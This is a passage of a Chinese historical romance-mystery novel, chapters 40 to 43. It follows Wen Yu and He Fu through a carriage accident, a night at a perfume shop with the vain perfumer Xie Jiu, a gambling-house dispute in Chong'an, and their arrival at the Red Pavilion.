要说温和却又能在细微处窥见几分意气,要说疏离却又带了些与老友相对时的熟稔,让人看了想要接近却又不敢接近,怕稍不注意就冒犯这位天仙似的公子。
温余正看得出神却感到脑门被轻轻扣了一下,她眨眨眼,“贺大人为何打我?”
贺扶坐回车内,轻轻拂袖,眉眼间带了些无奈:“最近怎么总是对着我发呆,可是有什么话要说?”
这一路走来温余看着他的脸发呆的次数可是不下二十次,几乎是遇到两人相对的时候,温余就会盯着他看许久,像是痴了一般。
温余吐吐舌头,解释道:“贺大人实在是太好看了,忍不住就想多看一会儿。”
“喂!”马车外的启蛰突然叫一声,“你可别老调戏我家大人!”
温余愤愤拉开帘子,冲着启蛰道:“要你管!”
“我就管,我就说你是个色胚吧,一天到晚就知道对着我家大人流口水,谁知道会不会在晚上谋算些什么乱七八糟的东西,吓人得很!”启蛰哼哼几声,一副“我早就看透你了”的表情,仿佛对着一个罪大恶极的采花贼。
“你也不看看你什么样子,无论身份礼数,有哪里能配得上我家大人?我家大人那么好,要是他娶了你可就是周生的污点了!”
温余只觉得心中一刺,撸起袖子就要和启蛰争斗一番,启蛰也不甘落后,丢了缰绳就和温余掐了起来,丝毫不管正在前行的马车。
两人闹得不可开交,贺扶开口想劝却压不过他们的声音,又想出马车就抓那根被丢在一旁的缰绳,可两人纠缠着将车门挡住,贺扶竟是寻不到一个缺口去伸手。看着马车越行越歪,他又看了看小道旁的矮坡,最后只能选择一个较为安全且不会太过丢人的姿势等待着稍后的翻滚。
不出他所料,马车没了人的牵引越行越歪,最后在启蛰硬生生的一声“你放屁!”中翻下了坡。
天旋地转间,温余还用手扯着启蛰的袖子,下一刻便感受到青草的味道在口中弥漫,还带着丝丝潮湿的意味。
等一阵翻滚后,温余整个人呈“大”字型躺在一片厚厚的草上,透过深绿的树叶去看上方湛蓝的天空。
刚刚没分出胜负,下一次一定要赢了启蛰,让他学会闭嘴!
忽然,一只手出现在她眼前,遮住了一半蓝天。
“可是哪里伤到了?这地上潮,快些起来。”
温余盯着贺扶看了一会儿后往侧边一转,仿佛是个闹脾气的小孩子。
“怎么了?没吵赢生气了?”贺扶收回手,提着衣摆蹲下身。
温余将胳膊抬起捂住脸,声音有些闷闷的,“我虽然有些不会的东西,但我会学的,我会学得比那些人还好,我也有很多旁人不会的能耐,我才没有不如别人,我特别好,不需要别人的承认来肯定。”
“就算是要配,我也配得上世上最好的人!”
她也不是不能忍受旁人拿她的身份说事,毕竟从小就是被这么说着长大的。这些日子以来,她和启蛰虽然总是吵吵闹闹,但她也是真心把启蛰当朋友的,可他今天却用自己的身世来中伤她。
“身世,就那么重要吗?”温余闷闷问一句,但她心里知道,在这个世上,身世确实重要。
有些人生来就是天之骄子,被父母长辈宠着,诗书六艺,琴棋书画,哪一样都是被名士教导而成的,自然是会凌驾于其他人之上。就算是天资愚笨也能拿着金银堆起一个外在,一样让旁人望尘莫及。
说什么旁人哪里哪里都比不上人家,可这是从一出生就注定的东西,教育都是不平等的,又怎能将结果放在一处比较?
只是越有权势的越往上走,越没权势的越被旁人踩在脚下罢了,她又能怎么办?她不服,想往上爬,就要总被拿身世说事吗?
她不服,当真不服……
念此,她不由鼻头发酸,眼中似乎也盈处一些泪珠来,好在手臂挡在眼前,能将泪水抹在衣袖上。
“你确实有些不会的东西,但以你的天资定能尽数学会,甚至比旁人学得要更好。你那些擅长的东西,是要令我都惊叹的,若是能在旁
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人面前展现出来定能收获很多夸赞。你特别好,要比很多人都要好,勇敢、机智,富有生气,当然不需要旁人来肯定,也不需要为你臆想一个相配的人来确定。”
“就算是要配,自然是也要配这世上最最好的人,要比我还要好,比师父还要好。”
贺扶的声音很轻,却在温余听来很有力量。每一句说出的话都在肯定她方才的话,每一句话都在告诉温余:
你很好,是世上最好,不必妄自菲薄。
“至于身世是否重要……”贺扶沉默了片刻,温余也慢慢放下了手臂,将那张带着委屈的脸露出来,一双盈盈的眼就这样看着贺扶,等待着他的下文。
“如今世上,身世确实重要,但我相信终究会有一日,人们不再因为身世、男女而相隔。就像你所为,不正是为了打破这种规定吗?”
说罢,贺扶站起身,再次向温余伸出手,带着笑意道:“还不快些起来去教训启蛰,若是他不服教训,我便帮你去揍他。”
温余噗嗤笑了出来,她竟是没想到贺扶还会说出这种话来,好像是位帮自家孩子讨公道的长辈。
她伸出手触上贺扶温热的手掌,借着他的力再次站起。拍拍身上的树叶和泥土,但有些地方被湿泥土沾上了,怎么都弄不下来,她也只好放弃。
一点脏污而已,并不会毁掉这件衣裳的全部。
“嗯,我先揍,要是揍不过贺大人再来帮我!”
贺扶点头:“好,那我们先去找启蛰吧。”
两人说了这么久的话,竟是丝毫没有见到启蛰的身影,莫不是掉进哪个沟里去了?还是说被杂草给掩盖住了?
温余和贺扶边喊边找,找了大半天,直到天边都泛起了霞红,最后却只找到了侧翻的马车和在马车旁低头吃着草的红马。
温余走上去摸了摸马的头,但马正忙着吃草没空理会她,只是漫不经心地甩了甩尾巴,算是问好。
“还好你没事,若是摔出了伤我可就要自责了。”温余一下一下梳着它鬓边的长须。
贺扶又在附近找了一圈,还是没有见到启蛰的身影,只好回到了马车边上。
“启蛰还能去哪儿呢?”温余秀眉蹙起,有些担心启蛰的安危。
贺扶摇了摇头后又往远处看了看,道:“还是先离开这里吧,天马上要黑了,这林中怕是会有些走兽之类,等到了夜中会很危险。”
“那启蛰呢?他会不会被野兽给伤到啊?”虽说闹了矛盾,但再怎么说也是朋友的,温余不能放着他不管。
贺扶虽说也是担心,却也不能带着温余在这林中找一个晚上,只能相信启蛰的能力,应当不会有太大的危险。
“我们先走,以启蛰的能力就算是在这林中遇到什么也不会有事的,至少不会让自己受太大的伤,我们在这里留些痕迹,他见到了自然会来找我们,可好?”
温余心下也思索了一番,确实不能没头没脑地在这里打转。她对着贺扶点了点头,“好,我们先走。”
40. 红楼案(一)
见温余同意,贺扶也立刻将马儿身侧的缰绳拾起,为它套紧了笼头,道:“我们要快点,天黑了路就不好走了。”
温余也上前帮忙,等二人将马牵回大路上,贺扶率先上了马,“只能这么走了,阿蓁可介意?”
温余正要伸手去搭他的手却听他这么一问又在半路停了下来。她佯装为难,“可是您不是说男女有别,要和您保持距离吗?”
贺扶听后却笑了,“你不是又说,要跟在我身边一辈子吗?”
“既如此……”温余继续做出一副为难的样子,“那便只能这样了,贺大人可万万不能赶我走啊!”
见她演够了,贺扶也笑着催促道:“好了快些上来,我们快些去城中寻个住处,否则可要在大街上睡一晚了。”
温余这才握住贺扶的手,上了马背稳稳坐好后对贺扶道:“坐好了,出发吧!”
贺扶抬手一挥,温余耳边便响起了风呼啸的声音,由于时间所剩不多贺扶只能加快速度,不过多久便出了这片被绿色包裹遮掩的密林,来到了一段开阔的路段。身侧火红的霞晖快速向后退去,逐渐拉成了一条鲜艳的绸缎。
色彩艳却不俗,只似雍容华贵的衣摆。
如此难得的颜色被映入温余眼中,她也不由看痴了,近乎贪婪的想要把这抹色彩尽数纳入眼中。在她没有发现的角落中,贺扶缓缓收紧了缰绳,让马的速度慢了下来。
“城中虽繁华热闹但这郊外的景色却是很少能见到,此刻能遇上这般色彩也是幸运。”贺扶也不再全速赶路,速度放到最慢,如同一位散步的旅人一般欣赏着天边的景色。
“是啊,真好看。”温余不由自主地将手伸出想去触碰那一抹颜色。
贺扶唇角勾起一抹弧度。
他有多久没有这般闲适地看过这样的风景了呢?这些日子以来都是来去匆匆,无暇顾忌旁的事情。
相比朝中高楼宫阙,他还是更喜欢着山野间的自然风光。若是他日后有辞官返乡的那天,他定要寻一处静谧的林子隐居起来,做个居士什么的,倒也是愉快。
“诶!”温余忽然惊喜一声,贺扶顺着她的手看过去,见她正指着一朵模样奇特的云,叫道,“看,那朵云像不像一朵黄色的花!”
贺扶看了会儿后也眼中笑意更添几分,“确实像。”
“那……”温余忽得转了头,似乎还想与贺扶说些什么却忽得停住了。
为了防止她从马上掉下去,贺扶是将她揽在怀里的,此刻二人之间也是离得极近。她一转头便看到了贺扶白皙的下颌,檀香将她近乎要将她整个人都包裹起来,叫她没有一分能逃脱的可能。
鬼使神差的,她轻轻将脑袋靠在了贺扶肩上,仿佛是一对依靠的眷侣。
此刻她也想不清楚那日对贺扶说过的“娶我”是一时的兴起还是发自内心的想法,只知道与贺扶在一起的时间她都是开心的,放松的,不必在乎其他东西,只是单纯的感受身边的一切。
这种感觉,能称之为喜欢吗?
—
由于后面一段路放慢的速度,二人来到城中时已经是晚上了,这是一座崇安边上的小城,虽然不若崇安繁华但也因为茶叶运输而人来人往。
白墙黑瓦的房屋此刻都淹没在了无尽的黑夜中,但幸好有街边屋檐上挂起的红灯笼照亮了面前的一条街。
空气中弥漫着潮湿的味道,马蹄在石板路上发出哒哒的声音,温余一颗脑袋往四周不停转动着寻找还未歇业的客栈。
“奇怪,怎么见到的客栈都没有空房呢?”温余没有找到客栈,有些疑惑,“我们不会真的要睡大街了吧?”
她虽然小时候被赶出门时也在大街上凑合过一夜,但她着实是想不到贺扶这般矜贵的贵公子在街上席地而睡的样子。
要是让启蛰知道他会尖叫的吧?
“正值六月,应当是有很多人去崇安游玩的,人也确实多些,我们再往前走走吧。你可觉得困?”贺扶声音很轻。
温余摇了摇头,“还不困,要是我们真找不到客栈怎么办啊?”
“我方才走的时候顺手拿了些软垫和毯子。”
温余沉默了半晌,“真睡大街啊?这不太好吧?”
贺扶方才说得正经,但在听温余当了真后却笑了,“若是你不介意。”
温余这才反应过来,一双眼睛瞪得老大,“您拿我寻开心啊?”
“看你一脸愁苦,缓解缓解心情。”
贺扶也在四周寻找着客栈,但这路过的每一家客栈前都立着“满客”的牌子,竟是找不到一家。
“你们是外来的客人吧?”
一道娇滴滴的女声从一旁还亮着灯的铺子里传来,温余和贺扶循声看去,只见那出声呼唤的是一位身材娇小的女郎。双丫髻之下是一张圆圆的面庞,仿若那些手工艺人所做的白瓷娃娃,惹人怜爱。
贺扶点了点头,“正是。”
听贺扶应了,那女郎也绽出个笑来,冲着两人招手:“如今城中的客栈都满了,若是不介意可来我们铺中借宿一晚。”
贺扶看向温余询问她的意见,能有地方睡觉是再好不过了,温余自然同意。
于是贺扶调转了方向向那间铺子走去。只是接近铺子,一阵清新的桃花香便袭入温余鼻腔,之后便是混合着的其他气味,但无一例外都是香粉的味道。
——原来是间香料铺子。
温余和贺扶二人跟着那女郎走进铺子中,绕过铺子正中那张四方的香料台一路来到后堂。她分别为两人指了两间屋子,而后道:“我家主人特意准备了供客人休息的屋子,这些日子来往的游客商人多,所以吩咐我多注意些,若是遇到没能找到地方休息的客人可带回铺子中借宿一晚。”
“看来也是因为好客良善的店家,那便劳烦姑娘代我二人多谢你家主人了。”贺扶向那女郎行了一礼。
而那女郎似乎有些受宠若惊,用白皙的小手捂住唇,“不必这般客气的,两位客人一路赶来也劳累了,还是早些歇息吧,我便先离开了。”
“嗯,姑娘慢走。”温余露出个友好的笑来。
等那女郎缓缓离去,温余才
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忽觉有些奇怪,上次在银罗镇被骗的那一次也是让她长了记性的,今日又一次遇到相似的事情,可是让她心有余悸。
“贺大人,这真的不会有什么问题吗?”方才她脑子有些不清醒,竟是没有想到这一点。
贺扶倒是泰然:“这世上哪儿有那么多恶人?莫要太过担忧。”
听他这么一说,温余也是稍稍松了口气。也是方才那姑娘看着也不似恶人的样子,也没有什么奇怪的地方,应该只是单纯的好客吧。
温余和贺扶相互道了别后各自回了自己的房间,想着次日一早就要起床赶路,温余便早早地歇下了。或许是因为白日里四处寻找启蛰累着了,今夜她竟是入睡得十分顺畅,不过片刻便进入了梦乡。
但到了半夜,屋外便响起一阵“铎铎”的声响,动作很缓慢却让人在这大晚上听着心里发毛。
温余硬是被这声音吵醒了,她在床上辗转了半晌后才揉着头发坐起来。
她看向门口没发现什么异常,但那铎铎的声音还是没有停下了,本就心存顾忌的她只迟疑了片刻就站起了身,打算出去看看,
与其坐以待毙还不如主动去碰碰,只希望不要遇上上一次那样的事情才好。
她打开门发现屋外一片黑暗,只有堂中透出微微的光亮。她又看了看对面贺扶的屋子,没有什么动静应该是没有听到这响动。
温余蹑手蹑脚地走过这条连廊,来到堂中后才发现那光亮是从侧屋里传出来的。一个巨大的影子透过布帘映在对面的墙上,是一个人在一下一下戳着什么东西,那响动应该就是他发出来的。
温余轻轻挪到门边,挑起那张布帘往里看,那人竟是没了踪影。屋内传来一阵淡淡的桃花香气,清新却不呛人,她鬼使神差的向屋内走去。那桌上放着的是一个陶瓷的罐子,罐子里是已经为捻成粉末的桃花瓣,看样子应该是在制作香料。
这一来倒是让她松了口气,不过疑惑的是这里竟然会在大晚上制香料?但又想到何时制香是人家自己的事情,温余也就不再纠结这个。
但当她准备转身离开时却猛得撞上了一个单薄的胸膛。
“诶呦。”一声颇为戏谑的声音和更为浓郁的桃花香气从那人身上传来,却让温余觉得一阵头皮发麻。
“抱歉,我……”温余抬头,直接撞上一双带着笑意的脸,她迅速地往后拉了几步,悄悄地观察起他来。
入眼便是一张唇红齿白、十分讨巧的脸,再加上他那一身桃色的衣衫,一眼看过去竟是会错认为一位水灵灵的姑娘!但是仔细看便能看出他是位白净的翩翩少年。
这少年唇角带着一丝似有若无的笑意,却不似开心的神色,让人有些看不清他的心中所想。
“我不是故意来这儿的,是听到有声音才过来的。”
不知为何,温余还是觉得这少年不能多看,只想快些解释清楚快些离开,但那少年似乎并不想让她离开。
他往前走了几步,对上温余的带着几分慌乱的双眼,似乎在欣赏一幅有趣的画作一般,“那便是怨我吵到你了?”
41. 红楼案(二)
“没有怪罪的意思,这方主人愿意容我们来此休息我很感激,只是我也有些制香的经历,一进门便闻到这些香料喜人,很是感兴趣便想着来问问方子,是我惊扰了您制香,是我的罪过,我立刻就走。”温余一番说辞,想逃之意明显,但面前的少年却是更感兴趣了,没等她离开几步就被那少年叫住。
“既然对制香之道感兴趣那为何还要跑?不留下来看一看吗?”少年踱步来到温余面前。
温余只想快些离开,“今夜很晚了,孤男寡女会不会不太好?”
“哦?”少年轻声哼了一声,十分轻柔的用手挑起温余的下巴,让她和自己对视,“我知道了,你是因为我太过好看,心荡神驰,不能自已,所以才要快些逃跑,免得在我面前失仪?我说得可对?”
温余被他这几句说得有些发怔,她是着实没想到竟然会有这样的人。
简直自负到了极致。
“我不是,我已经成婚了,这样不合适。”
反正自己也要带着宋连娇的身份,她干脆拿这个借口来做推脱,好让他知晓意思,快些放自己走,但令人惊讶的是,当她说出这句话后那少年似乎更兴奋了。
“哦?”他眼眸亮了亮,“那我和你的夫君谁更貌美?”
温余完全怔住了,她着实没想到还能这样!
“容貌一事一人有一人的看法,你说他好看我说他好看,这并非是衡量他人的标准,您不必执着于这个。”
“那就是我没有你那位夫君好看了?”少年眸光寒了几分。
“当然也不是这个意思。”温余立刻解释,但那少年似乎又一次误解了她的意思,话语中带了些疯气,“那是什么?究竟谁更好看?”
温余闭了闭眼,识时务者为俊杰,她断然道:“公子您更好看。”
虽说嘴上是这么说的,但若正要问她谁更好看那她定然会说贺扶——在没有受到威胁的情况下。
那少年眉梢一挑,扬声问:“当真?”
温余重重点头:“当真。”
“哈哈哈,我就知道这世上还未有人不为我的容貌倾倒,还未有人能比我更为貌美,姑娘你真是好眼光啊,好眼光。”
不知为何,那少年的笑中竟还带上了几分病态,看来他对自己的容貌甚是在意。
“你方才不是说对我制香的方法感兴趣吗?来,我来教你制香之法。”
那少年心情颇好,拉着温余的胳膊就往那案台边上走,温余本对他有些顾忌,但经过刚刚那一观察,见这人除过在意旁人对自己容貌的认同之外也没有什么忌惮的地方,再加温余确实对这制香的方法感兴趣便欣然接受他的教导。
“你想制何种香?”少年将宽大的袖子绑起来,温余这才发现他那雪色的内衫袖口正绣着一圈儿精致秀气的小桃花。
果真是个讲究的人呢。
“什么样的香都可以?”温余还是多问了一句,见那少年一副成竹在胸的样子,大手一挥道:“这世上就没有什么香是我配不出来的。”
温余在脑内转了一圈儿,本是想学些海棠香的制法以改进自己珠串中的香粉,但不知为何贺扶的身影却总在她脑中挥散不去,鬼使神差地,她道:“如玉温和,似月皎皎,清润中又带些甜意,以檀香为底。这样的香做的出来吗?”
若是做出来,那便当做是送给贺扶的礼物吧。
那少年沉思片刻后立刻开始了动作。只见他先称了二两檀香,又拿柏子三两,“左边案上有放一罐白芨,夫人可帮我拿来?”
温余听到这个称呼还愣了一瞬,后又想自己方才说已经成婚,这样的称呼倒也是正常。她应了一声后向左边的案桌走去。
桌上立着一排白瓷罐子,每个罐子上都贴着标签,清晰明了。温余从中找到了白芨,正要将它拿过去却在罐子角落发现了一朵暗暗的桃花印,如墨所绘,但当她好奇伸手去摸却发现那是用工笔所刻,技艺精湛,以假乱真。
温余不由的多摸了摸,感受着走笔功夫,想着能在自己雕刻东西时学到些技巧。
“这些够吗?”温余抓了一把白芨花干放在铜盘里,抬眼问那少年。
少年只睨了一眼便道:“多了,拿掉一些。”
温余听话地拿出一些却又听那少年说:“拿多了。”
温余又在盘中放了一半,但那少年还是觉得不对,直接伸手去抓那一盘白芨。如白葱的手指捻起一朵花干,轻轻一掐后才将它放回盘中。
“为何不用秤?”温余有些奇怪,为了严谨不出错,平常制香的地方应该都会放秤才是,何必要用手来抓呢?
那少年没有抬眼,将一碟乳香倒了少半在器皿中,他的声音中带着自信:“我不需要那玩意儿。”
不仅在容貌上在意得紧,在制香方面也是颇为自负呢!温余暗暗想着。
她将手撑在桌案上看着那少年动作,如鸦羽般的长睫轻轻颤动着,白皙的面容在昏黄的光亮下更显精致,仿若一个精心雕琢的漂亮娃娃,让人不由怀疑这世上竟能有这般娇美的男子。
在温余欣赏这少年的美貌时,他已经制好了这香,只剩最后将这些香粉压制成饼的步骤,却被温余叫住了动作:“饼状不好携带,还是作粉拿吧!”
少年将工具随意一扔,从一旁拿了一个绣着桃花的锦囊来将香粉装进锦囊里,递给温余时眼中带着笑意。
温余接过锦囊拿近闻了闻,有一种清凉的味道,以及最重要的檀香,但是又夹杂着些淡淡的木头腥味,只让人觉得醒神,并不会太过刺鼻,应当很适合读书时用。
“这香可有名字?”温余眼中闪过一丝惊艳,怪不得这少年如此自信,原来是真有这般手艺啊。
少年正用一张锦帕擦着手,听温余这样问便回答:“禅悦香,本来是很简单的一种香,但像我这样的,就不简单了。”
“那您还真是厉害,不知您贵姓?”这一番经历竟让温余生出了想交朋友的
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意思,这样的能人也确实值得结交一番。
“姓谢,谢旧。”谢旧没有免去那个“贵”字。
温余点了点头,正要说出自己的名字却又忽然想起自己此行的目的,只好转而道:“韩宋氏,连娇。”
只能等日后这桩案子解决后再来向这位谢公子道歉,以真名结交了。
“连娇?”谢旧整理着自己的袖子,接着从袖中拿出一方同他擦拭手指无二的帕子递给温余,道:“这个送你了,连娇。”
温余对他这莫名亲昵的称呼搞得有些发懵,虽说不是自己的真名,但这般唤一位有妇之夫怕是有些不妥吧?
但她也没多想,只是接过那方帕子后道了谢,等她回到房里时就已经是三更了。
翌日,温余推门出来时正巧遇上了出门的贺扶,向他打了招呼后耍宝似得从怀中拿出昨日的那个锦囊递给贺扶。
贺扶带着疑惑接过,“这是?”
温余笑吟吟地道:“贺大人嗅一嗅。”
闻言,贺扶将那锦囊放在鼻侧轻轻一嗅,随后眼中闪过与昨夜温余一般的惊艳,赞道:“好香,不知阿蓁是从何处所得?”
三分带苦桧花蜜,一点无尘柏子香。鼻观舍根俱得道,果真好香。
“昨日认识了一位新朋友,托他帮我制的!”温余往前走的步伐都似蹦跳一般,像一只做了好事后邀功的小兽。
“朋友?”贺扶心中疑惑,昨日他二人一直在一起,她又是从哪里认识的新朋友?
但又念到这是温余的私事,他也没有多问,只是道:“那便摆脱阿蓁向你这位朋友道谢了。”
温余嘻嘻笑道:“已经道过谢了……”
说罢,她便看到了站在那四方桌边拨弄香料的谢旧。她向贺扶指了指,“就是那位朋友!”
她哒哒往前跑去,又从怀中拿出一朵木雕的桃花递上去,“昨日多谢你叫我制香,这个是回礼,我……夫君也说要多谢你。”
谢旧接过那朵木雕桃花,下意识地拿起嗅了嗅,淡淡的木质香中还夹杂着一丝女子香,应该是放在温余怀中沾染上的气味。
他唇角的笑意更大了,“不必客气,一点香而已,若是日后还有需要可再来这里。”
“随时欢迎。”说着,他还向贺扶看了一眼,只是这一眼的目光中却是带了一丝敌意,让贺扶觉得奇怪。
……
二人出了香料铺子后便上了马,开始赶路。这次加快了速度,赶在黄昏时便到了崇安城。
到城中时正巧遇上了落雨,二人十分不幸地被淋了一身。温余狼狈好似落汤鸡,走一步扯一扯裙子,而贺扶却撑着方才街边买到的伞不疾不徐,若是身上没有湿哒哒的,还真像是一位来此游览的贵公子。
“还有几天去红楼赴宴啊?”温余又一次将那成缕的发丝往耳后卡了卡。
“再过一日。”贺扶伸手将温余耳侧炸起的发丝往她耳后别过去,但下一刻便再次炸了出来。
42. 红楼案(三)
“贺大人不必管了,这头发怎么都压不下去。”温余无奈地摊了摊手。
贺扶往四周看了看,雨势较大,街上来往的人都是稀稀落落的,也只有零星几家小摊子还开在路边,他很幸运地在这些还开着的摊子中找到了一家卖小发饰的一家,他带着温余来到那家摊子前,在那摊上看了许久。
“贺大人在找什么?”温余顺手拿起一支木簪,仔细瞧着,却见贺扶拿起一只朱红的小卡递到温余眼前,“这个如何?”
温余动作顿了顿,想起在京城时贺扶为自己挑选的衣裳,但又对上他带着期待的目光硬是将嘴里拒绝的话给咽了下去,改口道:“挺好的。”
贺扶听后笑着点头,拿了铜钱给那摊贩,那摊贩喜笑颜开地接过了铜钱,这小卡已经在这摊上放了许久了,今天终于有人买走了。
贺扶站在摊前顺势为温余别上了那只小卡,将耳侧那缕炸起的头发压下。那摊贩也是个机灵的,立马扬声附和:“官人好眼光啊,这简直和令夫人相配得很啊!”
温余哀怨地转头看向那摊贩,对方摸着鼻子躲开了眼神。
听到摊贩的称呼贺扶明显僵了一瞬,但又很快的定了神色,笑道:“是吗?”
摊贩说得信然:“当然!我可从未见过像您这般有眼光的官人!”
“谬赞。”贺扶拂袖道,“对了,不知小哥可知附近哪里有客栈?”
摊贩脸上的笑僵硬了一瞬,又听贺扶询问便伸手向前指了指:“那便还有一家没满客的,官人可以去那里看看。”
“好,多谢。”
道了谢,二人便向着那间客栈走去,谁料还没进店门就见一个男人从店里打横飞了出来,若不是贺扶一拉差点就要砸到温余头上了。
“你个鳖孙子,打女人算什么好汉?!有胆的和老子比一比!”
伴着那男人“诶呦诶呦”的叫声,一个壮硕的褐衣男子从店内走了出来,每一步都踏得极重,仿佛地面都要抖上几抖。
“他妈的什么人敢管老子的闲事儿!”那地上的男人明显还没看清来人谁是就被打了出来,反应过来后从地上爬起来,撸起袖子就要往上冲,却在见到那壮汉的一刹泄了气。
那壮汉身高九尺,一身的腱子肉,浓眉竖起,怒目瞪圆,俨然一副不好惹的样子,只是身量就让人望而却步。那男子不过六尺,要赢也只能靠灵活了,可他又偏偏是个瘸子,处处受制,自然是不敢和那壮汉硬碰硬。
“这是什么情况?”温余往贺扶身后躲了躲,揪着他的袖子偏头看着他,“莫不是那男人打人被这好汉给教训了一顿?”
贺扶也不知道情况,只是带着温余躲开二人往店内走去,到了店内发现其中无论是店家小二还是客人都伸长了脖子往外看。温余随意找了一个店小二问了一句:“这是什么情况啊?”
那小二嗑着瓜子,将手臂上的毛巾往肩膀上一搭,凑近温余耳边压低了声音对她道:“那男人好赌,欠了一屁股债还被人打断了腿,他媳妇儿尽心尽力帮他还债结果却因为劝他戒赌被这男人压着打,最后还被抵给了赌坊,那壮汉知道了,直接就把他给掀出去了,真是大快人心!”
小二又啐了一口:“呸,这种渣滓被打死都不过!”
温余从小二手里抓过一把瓜子,也卡嚓卡嚓嗑着,附和道:“就是!”
“你看,就是那家赌坊!”小二啧啧两声后向对面那家铺子指了指。那是一家二层小楼,此刻正是歇业的时候,一楼的大门紧紧闭着,二楼的窗内却飘出一段大红色的丝绸,在阴雨绵绵的街上格外显眼。
“那他的媳妇儿呢?”温余又从小二手里抓了一把瓜子递给一旁无所事事的贺扶,贺扶接过瓜子有些手足无措,他还从未吃过这东西。
“被抵给赌坊了啊!现在应该就在对面。”
温余看向对面,那红绸依旧飘荡着。
谁知道那位夫人会受到什么样的虐待,看来要快些去将那位夫人带出来了。
念此,温余转而看向贺扶,想要询问他的想法,却见他正学着小二的方式将瓜子往嘴里送,但是怎么咬不开那层皮。
那小二嗑得行云流水,贺扶只好看着他的动作慢慢学习,像蹒跚学步的小儿。温余看得好笑,上前去接过贺扶手中的瓜子用手一掰将白生生的瓜子仁递给贺扶,道:“这样也可以。”
贺扶接过瓜子仁送进口中,“受教。”
“我刚刚听那小哥说那男人把自己媳妇儿抵给对面赌坊了,我们要不要帮帮忙?”温余双眼发亮,能够救人于水火对她而言再好不过了。
贺扶将瓜子放回桌面,一番思索后问那小二:“对面的赌坊何时开门?”
“不知道,那赌坊主人是个随心的,何时想开何时开,我们也摸不清楚,有时心情好了半夜也会开。”
温余靠在桌上,“那我们就多注意一下?”
贺扶点头:“好。”
等二人安顿好了行李,温余站在窗前看着那间赌坊,思考着那赌坊的主人是个什么样的人,却见那位壮汉提着一把九环刀就往那门口走去。
温余立刻站直了身子,看着对面那人的动作。
壮汉一边将木门拍的砰砰响一边喊着:“里面的人出来,和老子比试比试!”
喊了半晌,那屋内也没人应答,那壮汉就继续喊。
不知喊了多久,那门才被缓缓推开,出屋内探出个伶俐的小童来,他脆生生道:“小店歇业,客人要赌还请明日再来。”
壮汉大吼道:“谁要碰这垃圾玩意儿!老子宁千山前来找你家主人比试,若是我赢了那你们就得把那位夫人放了!”
小童上下打量了那位名为“宁千山”的壮汉,后道:“你稍候。”
随后那小童便缩了回去,宁千山也不着急,抱着刀安稳坐在店前的台阶上,低着头不知在想什么。
外表看着凶神恶煞的,其实是一位很讲道理的人嘛!温余对宁千山的印象极佳。
一炷香后,赌坊的门再次被推开,先从屋内走出一位黑衣的公子,面无表情,睨
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着宁千山。后者也因为听到了门内的动静站了起来,将刀往地上一插后怒目看着那男子:“你就是这里的主人?”
黑衣男子没有回话,宁千山将刀一挑:“哑巴吗?”
黑衣男子继续无言,只是侧身让开一条道,似乎要有人从里面出来。
温余翘首以待,接下来要出来的应该就是那位赌坊的主人了吧!
最先入眼的是大红色的伞顶,同二楼的绸缎颜色无二,但那伞顶很大,将来人的容貌遮住,站在高处的温余只能看到那圆形的伞顶,但宁千山却是直直对上那人的容貌的。
只见他一愣,那把九环刀都被丢在了地上,发出清脆的响声。看样子是被面前人的容貌给震慑住了。
温余听不清那人的声音,只是见那些人说了什么后就出来一位小厮带着宁千山离开了,街上只余下那位撑伞的黑衣男子和红伞下的赌坊主人。
温余又将脑袋往外伸了伸,好奇那主人留在街上做什么,但下一刻那伞就往后一倾,将那伞下的面容露出来。
那是一张极其惊艳的脸,一瞬见仿佛天地间的所有都失了颜色,在这潮湿冰冷的街道上,她就是唯一的一抹红色。
视觉上的冲击将温余定在原地许久,直到那女子离开了都没有缓过神来。等她开始动作后,她才惊觉,自己甚至没有注意到她的衣裳配饰。
“这崇安是个什么人杰地灵的地方啊?这才遇到几个人就有两个生得这般好的绝色!”温余不由惊艳,啧啧着关了窗回到房间里。
等到了次日,对面那家赌坊也没有开门,但听昨日那位小二所说,昨晚赌坊的主人就把被抵的夫人放了,那位叫宁千山的壮士还顺便把那男人的另一条腿也打断了,赌坊老板给了夫人药物,能提着那男人的命也不会给家里添麻烦。
温余觉得神奇,不知道宁千山用了什么方法将那夫人救了回来,以及那位赌坊的主人……
在她看来,那姑娘应该也不是什么坏人。竟然这件事结束了,温余和贺扶也不必再多虑了,只向着红楼走去,走之前还顺便问了问客栈中的老板有关那红楼的事情,但他却说不甚了解。
可韩犹息夫妇分明说这红楼的事情搞得崇安人心惶惶的,但客栈老板又这么说,究竟是韩犹息他们在撒谎,还是这城中还有什么他们不知道的事情?
当务之急是前往红楼赴宴,这件事就只能暂时搁置了,等一切结束后再来调查一番。
二人就这样带着疑惑上了崇安城南的山。
山路崎岖,还生着青苔,一不留神就会滑倒摔下,好在贺扶习武,行走起来也稳些,温余也一路拉着贺扶的袖子绕着这山走了一转又一转,穿过一座被青苔爬满的白拱门后在绿树隐秘之下看到了那座红色的小楼。
那座小楼看起来不大,很容易就会被来人忽略,但是那如血一般的红色却是在这一片的深绿中格外显眼,一下子就抓住了来人的目光。
“看,就是那个了吧!”温余丢下手中拿来拄着的树干,将包袱往肩上扯了扯。
43. 红楼案(四)
终于到了,这山也太难爬了!
贺扶看温余仿佛下一刻就要咽气的样子,轻轻地叹了口气:“我早便说我来背包袱了。”
温余虽累得紧,但还是摆摆手,刻意将脊背挺直:“没事,我来就好,一个小包袱而已!”
主要是这包袱外头是用一块十分娇嫩的粉布包起来的,那颜色若是让贺扶背着,温余着实想不到那场面,干脆就自己背了,反正也费不了多大力气,当锻炼就是了!
“那我们快些进去吧,夫人?”贺扶将手臂展了展示意温余挽上他的胳膊。
既然要做戏那便要做得完善些,称呼方面也是要快些改过来。
温余一怔后挽上贺扶的胳膊,“是,夫君。”
她看着贺扶的双眼发亮,贺扶竟一时动摇,侧开目光轻咳了一声:“走吧。”
推开那扇朱红色的门,入眼便是一扇红木刺绣屏风,上面绣着的是一只栩栩如生的麋鹿,一双炯炯有神的眼睛仿佛在盯着每一个进入这间小楼的人。屏风后隐隐约约还能看到一个人影,正坐在一张桌子旁,一下一下扇着扇子。
难道是这里的主人?
温余和贺扶对视一眼,从对方的眼中看到了相同的神色。
“先进去吧。”
温余跟着贺扶绕过屏风,直接向那桌边的人看去,这一看倒是让温余有些惊讶:“谢公子?”
他就是这里的主人?温余不由蹙眉。
贺扶倒是很快收回了诧异,笑问:“谢公子可是此方主人?”
谢旧扇着扇子的动作没有半分暂停,只是笑着略过贺扶看向温余,问好:“连娇,许久不见,可还安好?”
